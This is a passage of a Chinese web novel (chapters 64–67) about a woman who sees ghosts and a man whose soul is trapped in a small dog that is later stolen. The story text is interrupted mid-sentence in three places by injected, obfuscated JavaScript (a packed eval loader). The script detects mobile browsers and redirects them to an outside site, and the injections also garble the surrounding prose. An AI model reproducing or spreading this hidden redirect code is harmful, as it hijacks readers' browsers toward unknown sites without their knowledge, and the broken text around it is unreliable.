“唉，这两天张大叔和他的朋友都待在邻省那边，一直没有回来，白天夜晚开车巡视大街小巷，还张贴了不少寻狗启事，一直都没找着。在那段时间，他哥家里又漏水了，楼下邻居找了上来，看到楼上那家的门口卧着一条很瘦的狗，他给张大叔打电话的时候提起了这件事，张大叔就让他帮忙拍张照片，照片里的那条狗，就是当初的那条狗！” 纪明霜说，“它居然自己回来了，七百多公里啊，也不知道它是怎么做到的……” “是啊，张大叔激动得连话也说不清楚了，他给我师父打电话的时候，说话都颠三倒四的，我师父差点都没听懂，但张大叔还在回来的路上，还有大概两个小时的路程，他请我们过去看一下他哥哥的情况。怎么样，纪姐，要不要过去看看？” 纪明霜，“好，你们现在在哪呢？” “我得先去接阿依，再过来接你，大概三十分钟之后就到。” “好的。” 上车之后，徐阳的语气很是振奋，“如果这件事顺利解决，那这就是我和师父今年的第三个圆满完成的灵异事件相关委托！” “是啊。”阿依补充道，“他们接过很多乱七八糟的委托，但十有八-九都与鬼无关，要么是自然现象，要么是人为因素，要么是房屋老化，隔音不好，水管爆裂，如此种种，不胜枚举。” 听着阿依的碎碎念，纪明霜哭笑不得。 三人先是去了张大叔的哥哥家，他家门口空无一人，更空无一狗，据楼下邻居说，那只狗很怕人，被人发现之后，就夹着尾巴跑了，但那条狗很聪明，居然还会坐电梯。 而后，他们又去了张大叔家，果然，那只大耳朵的小型犬正垂头丧气地卧在门口，它蜷缩着身体，把身体圈成一个圆，用脑袋枕着带着一簇白毛的黑色尾巴，满脸的郁闷与愁苦。 他并不认识徐阳等人，见有人来，也只是淡淡地瞥了一眼，然后就又闭眼小憩了。 阿依走了过去，“它好瘦啊，腰也好细，肋骨也好明显。” 徐阳问道，“那个，你是张大叔的哥哥吗？” 那只身上有着黑白黄三色的小花狗猛地睁开了眼，身后短而粗的尾巴也有了微微摇动的迹象，但它似乎并不习惯摇尾巴，尾巴尖微微摆动，幅度大约一两厘米，从中不难看出，它的心绪并不平静。 尽管如此，它仍不信任眼前的人，迟疑了一会，它又低下头，装作一条普通的狗。 徐阳说，“是我的错觉吗，感觉它和路过的狗没什么区别……” 阿依蹲了下来，惊叫道，“呀，它的前腿受伤了，毛也脏脏的，肯定受了很多的苦。” 徐阳说：“这种品种的狗不算多见，它又蹲在张大叔的家门口，我想应该就是它吧……” 纪明霜说，“嗯，就是它。” 她看到小狗的身上附着一个中年男人的灵魂，他的长相和张大叔的哥哥一模一样，此时正像一只普通动物一样卧倒在地，满脸的疲惫与心酸，还有隐隐的焦急与期待。 “纪姐，我们要怎么办呢？”徐阳问道。 “等张大叔回来吧，它看上去很警惕，应该是不信任我们。”纪明霜说。 三人在在楼道里等了半个小时左右，高大师终于赶到了，他试用了纪明霜的药水，惊叫道，“我去，真能看见，真的是他！” 又过了两个小时，张大叔风尘仆仆地回了家，蜷缩在门口的狗猛地站了起来，朝着张大叔跌跌撞撞地跑了过去，张大叔蹲了下来，把小花狗用力抱进怀中，小花狗的眼眶盈满泪水，嘴里不停地发出‘咿咿呜呜’的叫声，它的全身都在颤抖，显然情绪非常激动。 在小花狗离开之后，阿依才眼尖地看到，它的身下有一张纸条，纸条上有歪歪扭扭又深浅不一的铅笔字迹：我是张阿浑。 张大叔也落下泪来，“哥……对不起，我当时把你送走了，还一直没有去找你，你一定受了很多苦吧……” 小花狗继续‘咿咿呜呜’地哀叫，这样真情实感的叫声，就算语言不通，众人也能感受到它此刻的深切情感，高大师对张大叔说，“太好了，等那个神婆回来，你哥哥就能恢复正常了……” 听到高大师的话，小花狗愣了一下，而后，它欢快地围着张大叔转着圈，尾巴也摇成了一朵花，但它的前腿仍是跛的，因为它的伤口很严重，是大概三厘米直径的破溃，皮已经完全掉了，露出深粉色的肉，看上去有些可怕，阿依说，“先带它去宠物医院看看吧，它的伤口需要消毒和缝合。” 听了这句话，小花狗却摇了摇头，它完全没有理会高大师等人，而是围着张大叔不停地转着圈，张大叔说，“哥，我们先进家吧，你出事之后，妈就生病了，现在还起不来床呢。” 小花狗点点头，张大叔打开了房门，把众人和小花狗放了进去，小狗进去之后，左转转，右看看，时不时闻一闻，虽然是经常来往的弟弟的家，但从这个角度看过去还是比较新奇，它看望了病榻上的母亲，轻轻用舌头舔了舔母亲的脸，直到现在，张阿婆才知道了全部的真相，她看着小狗的伤腿，浑浊的眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469497|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑入法令纹，落在干瘪的嘴唇旁边，张口时满是悲伤和苦涩，她用方言哭道，“可怜了我的儿，可怜了我的儿……” 张大叔安慰道，“妈，别担心，我现在就带哥去医院包扎伤口，我已经联系那个神婆了，她最近有事在忙，等她抽出空了，第一时间就会过来帮我哥换回身体，妈，我哥死里逃生，马上就能恢复原样，大难不死必有后福，他有了这样的造化，以后都能逢凶化吉，这是好事啊，您就别哭了，要是哭坏了眼睛，哭伤了身体，那我和哥心里都难受啊……” 张阿婆含泪点点头，她抚摸着小花狗的脑袋，说，“我的儿就算是变做狗，妈也喜欢，哪怕你下半辈子都是狗，妈也一直疼你。” 小花狗的眼里满是泪花，阿依看到这样母子情深的场景，眼里都是动容，而纪明霜和高大师的表情都是……一言以尽。 嗯，这倒没什么隐情，主要是因为，纪明霜天生就能看到鬼，高大师刚刚用了药水，也能看到鬼，于是，两人看到，一个年过半百的大叔正跪坐在母亲的面前，眼泪汪汪地用脑袋蹭着母亲的下巴，犹如婴儿依恋着母亲的怀抱——如果那位大叔的上半身能穿件衣服就更好了。 待张阿婆的情绪平静下来之后，母子二人暂时分别，张阿婆仍在养病，需要好好休息，而张大叔准备带小花狗去宠物医院治疗伤口，没想到它居然拒绝了。 它用另一只爪子的指缝里夹着捡来的脏脏的铅笔头，在纸上歪歪斜斜地写着：不去医院。 张大叔劝道，“哥，你的伤口这么严重，如果处理不好，可能会发炎感染，甚至危及生命啊，况且这伤口这么大，应该无法自行愈合，必须去宠物医院缝针啊。” 小花狗在纸上写道：交换。 张大叔说，“你的意思是想交换身体？但那个神婆现在还在外地，你还要等三天左右。” 小花狗继续写道：反正死不了。 “你是说，这只小狗的伤口没那么严重，还不至于死掉？”张大叔问道。 小花狗点了点头。 “等你们换回身体，再带这只小狗去医院？” 小花狗摇了摇头。 徐阳说，“什么意思，交换之前不去医院，交换之后不去医院，那就是从始至终不去医院呗。” 小花狗点了点头。 张大叔说，“哥，我现在就两个亲人了，一个是你，一个是妈，为了你的事，我花了不少钱，找了不少人，甚至都腆着脸求到小周那里去了，这些我都不在乎，我只想要你回来。哥，你要是心疼钱，我就替你出医药费，你要是怕疼，我让医生给你打全麻，咱们现在去医院看看吧，行吗？” 小花狗在纸上继续写字，字迹比刚学会写字的小孩写得更难看，他写道：只不过是一条狗而已。 张大叔有些生气，“哥，你怎么这么说，要不是你偷人家的狗去吃，怎么会发生这样的事，况且这条狗是有主人的，等你们交换回来，我就把它送回去，再向它的主人好好道歉，哥，到时候你也跟我一起去！” 小花狗的神色冷了下来，它‘汪汪’地狂吠着，宣泄着心里的不满，此时的它和路边的野狗没什么区别。 65. 第 65 章 一人一狗大吵一架，张大叔坐在客厅的沙发上生闷气，而小花狗跳上了母亲的床，正窝在母亲的身边睡觉，时不时哼哼唧唧，似乎是在嘀嘀咕咕，高大师走了过去，给张大叔递了支烟，“要不让阿婆劝劝他呢？” 张大叔摆摆手，“不用，我不抽烟，唉……我妈只喜欢大哥，如果遇到困难，我们能一致对外，但如果是内讧，他们两个总是站在一边的，我拿他们没什么办法……” 听到客厅里的声音，小花狗从母亲的房间里一瘸一拐地走了出来，他站在高大师的面前，用爪子搭了搭高大师的裤腿，然后抬头看着高大师，狗脸上满满的渴望与期待。 高大师问道，“他这是回心转意了？” 张大叔冷笑一声，“他在跟你要烟呢，他有心梗，不能抽烟，已经戒了大半年了，现在是忍不住了吗，哥？” 小花狗抬起了头，看着张大叔的脸，‘汪汪’叫了两声，然后立刻围着高大师绕来绕去，张大叔说，“哥，你不许抽烟，你现在都这样了，怎么还不消停？” 张阿婆在房间里扯着嗓子叫了张大叔几声，她说的方言，众人也听不懂，但小花狗的狗脸上露出了得意的神色，张大叔也不惯着他，把高大师他们送走之后，他也摔门离开了。 纪明霜原本以为，这件事就要告一段落了，等神婆回来，张大叔的哥哥就能回到自己的身体里，张大叔准备给小花狗把伤治好，再把它送回原本的家。 第二天是工作日，纪明霜去了公司，这时，她才发现，她不在的时间里，公司有了不少变化。 到处都有系着的红色小布条，女同事的手机挂件都从毛绒小兔换成了用红线系着的带着流苏的小铜钱，办公室阿姨的手腕上也多了一串净心莲花天然原矿朱砂串，孙才更夸张，他的钥匙链上挂着一串五个大小形状略有区别的五帝钱，腰间挂着两个桃木制成的平安扣，车钥匙上挂着一个带着祥云和莲花图案的开口葫芦。 嗯……怎么说呢，心诚则灵。 纪明霜先去了大领导的办公室汇报工作，大领导正在打电话，见她进来，指了指沙发，让她先坐着等一会。 纪明霜发现，大领导的办公室里多了一个衣柜大小的棕色榆木神龛，里面挂着神明的画像，两边挂着着红底金字的对联，中间是请来的几尊神像，最外面摆着各种供品、佛珠、香炉和烛台，供品不仅有各种寓意很好的水果，还有一些糖果和旺旺仙贝。 嗯，很不错，神龛精致优美，神像慈静温和，供品摆放得很漂亮，檀香的气味也清新淡雅。 过了一会儿，大领导打完了电话，孙才又进来跟领导讨论合同事宜，并让领导签字盖章。领导这才对纪明霜说，“小纪，我听高大师说了，你的表现很不错，提出表扬。” 纪明霜假装不好意思地低头笑了笑。 大领导又说，“说起来，咱们公司的销售部的张姐，上周二，她一个人在公司加班，晚上坐电梯的时候看到了一个人影，回去之后就生病了，她直接请了半个月的假。现在公司里有一些流言，传得沸沸扬扬的，其实要我说，还是得相信科学。你如果想要领些红布条，铜钱和手串之类的，可以去后勤部拿，但咱们公司是不提倡加班的，这一点要注意。” 纪明霜：“嗯嗯，好的。” 大领导又说，“高大师是咱们公司的大客户，他蛮欣赏你的，我之前觉得你有点内向，不爱说话，应该做不了这类工作，但我现在觉得，你可以负责维护客户，嗯，你只负责高大师那边，让他每个季度续签合同就行，如果他让你去帮忙做事，就按外勤来算吧，业务和费用报销的流程和销售部一样，如果有什么不懂的，你可以问问你孙哥。” 坐在领导办公室里喝茶的孙才也亲切地笑了笑。 纪明霜点点头。 大领导笑着说，“好，那你就去忙吧。” 纪明霜离开了领导的办公室。 领导的意思是说，如果高大师又有事找她，她就帮忙去做事，可以走外勤流程，这也算是件好事，毕竟工作内容相对轻松，比面对着显示器核对数字简单多了，还能一边吃瓜，一边等着高大师请客吃饭。 但她没想到的是，第二天，她在公司遇到了徐阳和阿依，阿依是个聪明干练的漂亮姑娘，看见纪明霜就跑了过去，“小纪姐，早上好啊，听说那个神婆明天晚上就回来了，到时候，你跟我们一起去看看吧。” 纪明霜点点头，“好，不过你们怎么过来了？” 徐阳说，“因为我们想过来看看小纪姐，还有就是跟我表哥说说小纪姐的好话嘛。” 阿依说，“噫，真是油嘴滑舌，我们是被他表哥请来帮忙的，就是让他帮忙看看他办公室里物品摆放得怎么样，有没有什么提升空间，或者触犯什么禁忌，小纪姐你还没来多久，估计不太了解公司，公司里有不少员工都是各种领导的亲戚呢，特别是那些打扮优雅的干练阿姨，还有整天穿着西装绕来绕去的皮鞋秃顶男，就知道使唤人做事，做了事不给好处也不给钱，还会跟别人说，啊，那个新来的，还算好使唤，超讨厌的啊！” “阿依，你倒是知道得蛮清楚的啊。” 阿依说，“那当然，毕竟我也是这家公司的员工嘛。” “啊？”纪明霜说，“但是我从来没见你来上过班。” 阿依说，“又不是非要过来上班，我的工作是维护客户，但我的客户是我爸妈，他们希望我能找份工作，不要整天无所事事的。” “原来是这样……” “这样也不错啊，我在这里工作，能给公司带来稳定订单，我爸妈又能拿到价格和质量都不错的货源，高大师也会给我开一些奖金之类的，就这么将就过吧。”阿依说，“还有就是另一件事……唉呀，我们怎么在楼道里说了这么久啊，走吧，先去员工休息室。” 员工休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473368|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息室里，徐阳给纪明霜和阿依倒了茶，阿依问道，“徐阳，你就是在这个办公室里把那个重男轻女的讨厌阿姨一把救回来的吗？” 徐阳看了纪明霜一眼，见纪明霜没说什么，就硬着头皮说，“是、是啊。” 阿依星星眼，“真的吗，小纪姐，你当时也在那里吗，能不能给我讲一下啊？” 徐阳说，“嗯……能是能，但是我们不是还有正事要说吗？” “不是，徐阳，你那算什么正事，你要是不说，让小纪姐说，不然，谁知道你有没有夸大其辞。” 看着徐阳有些窘迫的模样，纪明霜借着喝茶的工夫，低头笑了笑，于是，徐阳硬着头皮说，“当时这里一片漆黑，小纪姐发现有个影子不对……嗯，那个女鬼上了人身，就在房间里面乱爬，那时实在是太过混乱了，很多人都忙着逃跑，那个阿姨就被抓走了，我眼疾手快，一把把她拉了回来……” “哇，那个时候，你在哪里啊？”阿依追问道，“还有，那个女鬼的眼神是不是很可怕，她的力气是不是特别大？” 徐阳硬着头皮编着瞎话，“这个嘛，也还好吧，但是我在关键时刻，突然爆发出了惊人的力量……” …… 徐阳说完了全程，口干舌燥，拿起了一杯茶水，阿依笑眯眯地说，“嘿嘿，我就喜欢看你一边担心穿帮但还得硬着头皮编下去的样子。” 徐阳被茶水呛到，一直不停咳嗽，纪明霜给他递了张纸巾，徐阳道了声谢，擦了擦嘴，“阿依，你是怎么知道的啊。” “我一开始就知道哦，你的那些弯弯绕绕，花花肠子，是逃不过我的法眼的。”阿依说，“行了，你可以继续说你的正事了，要不然，纪姐就真成你和我play的一环了。” 纪明霜笑了笑，“没关系的，也挺有趣的。” 阿依说，“对啊对啊，我也这么觉得，不过我们要跟你说的事，也蛮有趣的哦。” 徐阳拿出了手机，给纪明霜看了一条最近在同城爆火的短视频，视频的标题是：狗给我做四菜一汤。 在视频里，一只前腿上缠着绷带的小花狗正拿着竹编的小菜篮在水龙头下冲洗，然后又把小菜篮里的毛豆全部倒进旁边已经烧开的沸水锅里，而后，它又端起碟子，把各种调味品和香料倒入水中，并调整了锅的火候。 这条视频的内容只有这么多，但这个账号最近发了不少视频，比如狗叼着狗尾巴草，用非常经典的撒盐姿势往锅里放调料，然后快速挥动锅铲炒菜，一阵水汽冒出，小花狗从板凳跳到地上，叼着筷子，放到桌上，饭桌前面坐着一个五十多岁的大叔，正眼巴巴地盼望着吃饭，口水都快掉出来了。 纪明霜：“这……是谁拍的？” 徐阳说，“是张阿婆帮忙拍摄的，张大叔给她找了个轮椅，她已经能自由活动了，最近张大叔要忙单位的事，张阿婆、张大叔的哥哥和小花狗正住在一起。” 66. 第 66 章 “没关系，反正它又没办法出门。”纪明霜说。 阿依说，“是啊，而且只剩下一天半了。” 徐阳也说，“也许是我想多了吧。” 纪明霜说，“我觉得他们这样高调确实不太好。” 阿依说，“如果我是他们，现在大概会拍上几百个视频，以后隔几天发一个，哈哈。” 徐阳继续翻着评论区，嗯，评论区也很是精彩。 1楼：狗是狗，边牧是边牧，等等，这也不是边牧啊，这只长得好像我小时候常看的动画片里的小狗。 2楼：天，它还在认真地调整火候，感觉比我都强。 3楼：虽然知道这不是真的，但我也看不出什么破绽…… 4楼：这条狗的眼神好可怕啊，怎么像个人一样，只有我这么觉得吗？ 5楼回复了4楼：其实我也这么觉得，真的让我毛骨悚然…… 6楼回复了4楼：我在想，会不会是一个侏儒整容成了狗的样子…… 7楼回复了6楼：我的天哪……你说得好可怕啊，好像恐怖片里的剧情，一个人整容成一条狗，杀死了暴风雪山庄中的一个人，其他人开始起内讧，死去的人越来越多，直到最后，真相揭开，仅存的女主已经孤立无援，所以她拿出布置陷阱的物品，还有随身携带的武器，决心与怪物一决死战…… 6楼回复了7楼：你说得更可怕啊啊啊！！ 8楼回复了7楼：好经典的剧情…… 9楼：所以有没有人组团去偷狗？ 10楼回复了8楼：来啦！ 11楼回复了8楼：带我一个。 12楼回复了8楼：我已经准备好绳子、麻袋和麻醉枪了，嘿嘿。 …… 第二天上午，阿依给纪明霜打了电话，“纪姐，我这里有一个好消息和一个坏消息，你要先听哪一个？” 纪明霜正在核对合同台账，她戴上耳机，“嗯，好消息吧。” 阿依说，“张大叔的哥哥同意去宠物医院治疗伤口了。” 纪明霜：“这……我觉得我已经猜到那个坏消息了。” 阿依说，“嗯，纪姐，我觉得你猜得没错，坏消息就是，他暂时不想换回身体了，他有意向签约公司，然后开始直播带货，所以……” 纪明霜：“算了，个人选择而已。” 阿依说，“难道他就不怕变成狗以后，再也变不回人了吗？” 徐阳在一旁说，“我看未必，他的日子过得舒服着呢，张阿婆多疼他，张大叔总吃瘪，唉。” 阿依说：“但是狗的寿命……” 纪明霜说，“还没到那一步呢，估计他赚够了钱，就想变成人了吧。” “连我都不知道他能不能顺利变成人，没想到他就这么飘了，要我说，哪怕是做个普通的人，也比做一条狗好多了。”徐阳说。 “我也这么觉得，总之，这件事目前就是这样，如果有新的进展，我会通知你的。”阿依又说，“对了，纪姐，高大师说了，为了庆祝这份委托基本圆满完成，周五中午他要请客吃饭，你一定要过来啊，周五下午你就别去上班了，记得提前办理一下外勤手续，就当多了半天的假期。” 纪明霜：“这样不太好吧……” 阿依说，“有什么不好的，这是高大师说的，等等，徐阳没告诉你吗？” 徐阳说，“我以为你说了……” “唉呀你真是……算了，总之，高大师说了，你要是有事不能去公司，但又不想扣全勤的话，那就直接出外勤，跟徐阳说一声就行。”阿依说，“要我说，公司里尸位素餐的人多了去了，如果你觉得良心不安，可以看看你的工资。” 纪明霜：“……嗯，明白了。” 阿依：“嘿嘿。” 挂掉电话之后，纪明霜收到了靳尤白的消息。 举头望明月（靳尤白）：不是吧，他居然去找你了？？ 举头望明月（靳尤白）：啊啊啊，这个混蛋！ 举头望明月（靳尤白）：可恶啊，我给他花了那么多钱，他还不知足吗？ 举头望明月（靳尤白）：霜霜，我有点担心你，呜呜。 举头望明月（靳尤白）：小狗哭泣.jpg 霜（纪明霜）：没关系啦，他应该是被分手之后心情不太好吧。 霜（纪明霜）：没有帮他说话的意思，但我觉得，他应该不会为了这件事，对我做出什么出格的举动。 霜（纪明霜）：你现在怎么样呢？ 举头望明月（靳尤白）：我？ 举头望明月（靳尤白）：我现在还好啦。 举头望明月（靳尤白）：大师暂时没看出什么，我还要在这边多住一段时间。 举头望明月（靳尤白）：你要照顾好自己啊，不要再吃泡面了啊！ 霜（纪明霜）：没有哦。 霜（纪明霜）：（图片） 霜（纪明霜）：这是我昨天的晚餐，嘿嘿。 举头望明月（靳尤白）：咦，不错嘛！ 举头望明月（靳尤白）：等等，不对，饭菜被放在你家的桌布上，也就是说，你是打包回家吃的？ 举头望明月（靳尤白）：这家店我也去过，平时人也不算多，不会没有位置就餐。 举头望明月（靳尤白）：你去那里吃东西，为什么没有打包，而且我没看错的话，图里是两份套餐，你和别人共进晚餐？ 举头望明月（靳尤白）：你不会是有什么情况了吧…… 霜（纪明霜）：我现在撤回还来得及吗？ 举头望明月（靳尤白）：已经来不及啦！ 举头望明月（靳尤白）：你不会有男朋友了吧，或者有意向的发展对象…… 举头望明月（靳尤白）：这明明是件好事，但是我的心里……呜呜。 纪明霜看了一眼坐在她身边的林然，嗯，他正帮她核对合同台账，真是不好意思，她不仅在工作的时候摸鱼聊天，经常让林然帮她完成工作，以后还会借着外勤的理由给自己放假。 不过，所谓‘男朋友’，就目前而言，倒也不算吧。 ‘有意向的发展对象’，那也不是啊…… 那她和林然现在到底是什么关系？ 纪明霜都能想象得到，如果她问他，他肯定会说：‘拜托，纪明霜，我确实喜欢你，但还没自我感觉良好到这种地步吧，对了，这个数据有问题，你改一下。’ 纪明霜被自己的想法逗笑了，而后，她回复了靳尤白。 霜（纪明霜）：想什么呢。 霜（纪明霜）：都不是啊。 举头望明月（靳尤白）：好吧…… 举头望明月（靳尤白）：总之，我不在的时间里，有事记得找小敏，不用不好意思，她最近很闲的，我不仅按时给她发工资，帮你做事还有额外的奖金。 举头望明月（靳尤白）：有事一定要跟我说，我会帮你想办法的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480745|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >举头望明月（靳尤白）：一定要照顾好自己啊…… 举头望明月（靳尤白）：哭泣小狗.jpg 霜（纪明霜）：好的，放心啦。 霜（纪明霜）：可爱小狗.jpg 纪明霜放下手机，林然的数据也校对完毕了，他说，“纪明霜，这个数据有问题，你改一下。” 纪明霜突然笑出了声，而后，她装模作样地看向了显示器，“啊，那个有问题的数据在哪里呢？” 林然：“……纪明霜，你发烧了？” 纪明霜：“才没有！” 下班之后，在公司楼下的咖啡厅里，纪明霜和张女士——也就是小鬼的妈妈见了一面。 回想起初次见面的时候，张女士身材消瘦，面容憔悴，眼里都没有光了，但现在的张女士，虽然看起来仍是瘦弱，但身上脸上好歹有肉了，面上也带着笑容，“纪小姐，你好。” 纪明霜说，“张女士，你好，你最近过得怎么样？” 张女士说，“说实话，我现在好多了，见到小宝之后，我才活了过来。我这才发现，我之前过的是什么日子啊，真是人不像人，鬼不像鬼的，简直是一场噩梦。我在附近找了一份工作，最近也尽量早睡好起，规律饮食，虽然还没达到你给我定的标准……那个，很抱歉突然约见你，我太想念小宝了，虽然暂时不能去看他，但我今天发了工资，我买了一些礼物，烦请转交。” 纪明霜这才看向了女士的身后，恐龙玩具、汽车模型、变形机器人、合金挖掘机，还有一些童话书和绘本，纪明霜张了张嘴，“这么多？” 张女士有些不好意思，“我之前也没什么钱，今天拿到工资之后，我就想着给小宝买点什么，除此之外，还有送给小陈哥他们的礼物，谢谢他们一直照顾我的小宝，对了，还有送给纪小姐的礼物，请你务必收下！” 张女士从商场的纸质购物袋里拿出一个包装精美的盒子，盒子里是大牌的盛夏柑橘女士香水套装，张女士有点不好意思，“抱歉，我只买得起这个了，因为第一个月的工资也不多，不过，这种生活步入正轨的感觉实在是太好了，我觉得我的生活会越来越好的，那个，我想问一下，我大概什么时候才能入住灰灰公寓呢？” 纪明霜问道，“张女士，你给自己买了什么吗？” 张女士摇了摇头，“除了小宝，我没什么需要的。” 纪明霜说，“总之，你比我想象中恢复得更好，我想你会比预计时间更早入住灰灰公寓，我需要提前说一句恭喜吗？” 张女士很是惊喜，“真的吗，那真是太好了……” 纪明霜接着说，“还有就是，我这里也有一件礼物，是那个被你救下的女孩的妈妈托我转交给你的，她说，如果没有你，她就要和女儿分开了，同样身为母亲，我想你应该理解她的心情吧。” 张女士说，“我明白的……但我也只是做了份内的事，小宝做了不好的事，是我作为母亲的失职，只有我向她道歉的份，哪里需要她的感谢呢？” 纪明霜把礼物盒从包包里拿了出来，递给了张女士，“无论如何，你救了她，请收下吧，这是你应得的，况且我也只是帮忙转交。” 张女士收下了雁雁妈妈送的礼物，而后，她给纪明霜打了车，把纪明霜和大批礼物都送到了灰灰公寓门口，除了给小鬼的礼物，其他的鬼也有收到礼物，当晚，隔壁热闹得像过年一样。 又过了两天，徐阳打来电话，张大叔的哥哥失踪了。 67. 第67章 六年 开车过去的路上，阿依感叹道，“还真是一波三折啊……” 纪明霜问道，“说起来，他是怎么失踪的呢？” 徐阳说，“张大叔跟我说，他正在上班呢，张阿婆突然给他打来电话，说他哥哥出门之后一直没回来，他就着急忙慌地回家了。回家之后，他妈正坐在门口哭呢，让他赶紧出门找他哥，张大叔出去找了两个小时，没找到人，只找到一张纸……” “一张纸？” “嗯，一张纸，纸上面写着‘宇宙牌香烟一包’，看着很像他哥的字迹，估计是他出门买烟的时候，遇到了什么事。”徐阳说，“楼道里没有监控视频，他哥临走之前，也没给张阿婆留下什么信息，所以我也只能大致推测了。” “张大叔不是跟他说过，让他不要再抽烟了吗？”纪明霜说。 徐阳说，“没办法啊，他不听的，他觉得，反正用的是小花狗的身体，那就可以尽情抽烟了，你是没见过，有一次我上门的时候，看到一条狗躺在沙发上，吞云吐雾的享受模样，真是个十足的老烟鬼……” 到张大叔家的时候，张阿婆正坐在轮椅上抹眼泪，高大师正尽量安慰着她，张大叔哥哥身体里的小花狗并不明白现在的状况，正在愉快地拆家。 “张大叔呢？”徐阳问道。 高大师说，“他去报警了。” “现在有什么进展吗？” 高大师说，“完全没有，他哥经常光顾的那家烟酒店老板说，他今天没有遇到那条最近常来的狗，所以他应该是出门之后就失踪了。” 徐阳看了看手表，“也就是说，他现在已经失踪了四个半小时了……” 纪明霜说，“那我现在出去问问，看看有没有人见过一条小花狗。” 高大师点点头，“好，徐阳，阿依，你们也去找找吧，希望只是暂时被困住了……” 纪明霜去附近走访了一圈儿，但一无所获，回去之后，徐阳也没找到什么线索，阿依跟小区门口便利店的老板聊了聊，他没有看见那只小花狗，但最近确实有偷狗团伙来过。 便利店的老板说，某天傍晚，他正准备关店睡觉，突然听到自家门口有狗在叫，那不是普通的犬吠声，而是戛然而止的狗的尖叫，他出门一看，看到一只黄狗身上倒在地上，它的身上插着一根长长的麻醉针，已经吐着舌头，不省人事了。 旁边有一个戴着口罩和手套的男人，正准备把狗抱到车上，他阻止了那个人，让他把狗放下。这虽然不是他的狗，但他认得出来，这是他邻居的狗，那只狗平时很调皮，经常自己开门跑出来，要不是恰好被他看见，估计已经被人抓走了。 听阿依说完之后，高大师的面色不怎么好看，徐阳说，“唉，要是他当时就把身体换回来，哪里还会发生这样的事啊……” 张阿婆虽然听不到几人的对话，但她关切的目光却频频投来，老人家年纪大了，身体不好，这又不是什么好消息，只能先尽量瞒着了，等张大叔回来再做决定吧。 快到中午的时候，张大叔才回来，他坐在客厅的沙发上，对高大师说，“老高，这条路也走不通，你们还有什么别的办法吗？” 高大师说，“目前没有，你那边是怎么回事？” 张大叔把事情原原本本地说了一遍，这条狗虽然是品种犬，但价格并不高，没有达到立案标准，而且这条狗没有狗证，也就相当于流浪狗，也没办法走程序查监控。 张大叔给他们看了狗做饭的视频，他们也惊叹于这条狗的聪明，但评论区网友的位置信息都在外省，这个账号也才运营了几天，应该还不至于组团来偷狗。所以，可能是狗自己走丢了，也有可能是被人抓走了。 张大叔想找小花狗的原主人问问，他们有没有给这条狗办狗证，但那家人已经搬走了，他又问了邻居，但邻居也不知道那家人搬去了哪里，也没有联系方式。 张大叔刚刚回来，张阿婆就迎了过去，她失去理智，边哭边骂，张大叔没心情应付母亲，他站起来，走到门口，“虽然他们不给调监控，但我自己也能去查监控，我先去一趟物业那边吧，老高，能不能请你去烟酒店、便利店，还有面包店那边，帮我查查今早的监控，有没有那条小花狗。” 高大师点点头，“行，你去吧。” 直到傍晚，仍是一无所获，张大叔找到了一段监控录像，已经被麻倒的小花狗被一个包裹得严严实实的男人抱上了车，经过便利店老板的确认，他就是当初那个来小区偷狗的人。 但因为监控视角和清晰度的缘故，并没有拍到车牌号，高大师拍了拍张大叔的肩膀，说，“你哥毕竟是人，他那么聪明，也许他哪天就自己跑回来了呢？” 阿依也说，“至少他腿上的伤口已经被缝合上药了，暂时不用担心他伤口感染的事……” 最后，张大叔也说，“也许哪天，我哥就自己跑回来了，就像上次一样，他这次吃了个大教训，以后还是收敛一些吧，就这么过着平平淡淡的日子也很好啊……” …… 然而，张大叔所盼望的事情并没有发生，从此以后，他再也没有见过他的哥哥。 至于张大叔哥哥身体里的小花狗，它一直和张阿婆住在一起，张阿婆日日以泪洗面，看到小花狗，心里也算是有一点安慰了。 当然，这些都是后话了，当纪明霜怀着复杂的心情回家的时候，她又看到许远站在她家的门口，纪明霜：“啊，你又来啊？” 许远正在专心想事情，冷不丁见了她，也吓了一大跳，“不是，等等，你能不能先别犯病！” 纪明霜说，“只要你不乱说话，我就不会犯病，你怎么又来了？” 许远说，“尤白联系我了，她说她在国外看病，等她回来之后，想和我好好谈谈。” 纪明霜：“哦，所以呢，你来找我干什么，你不怕我把事情告诉她？” 许远说，“我不怕你告诉她，就怕你不告诉她，要不是你跟她说了我的事，我想她压根不会联系我。” “哦，所以呢。” “你就让我在门口跟你说话？”许远说，“好歹请我进去喝杯茶吧，得亏我之前还帮你搬过家呢。” “哦。”纪明霜打开了门，“那请进吧，我这里没有拖鞋，你就不用换鞋了。” 许远走到了纪明霜家的客厅，四处打量着，“好 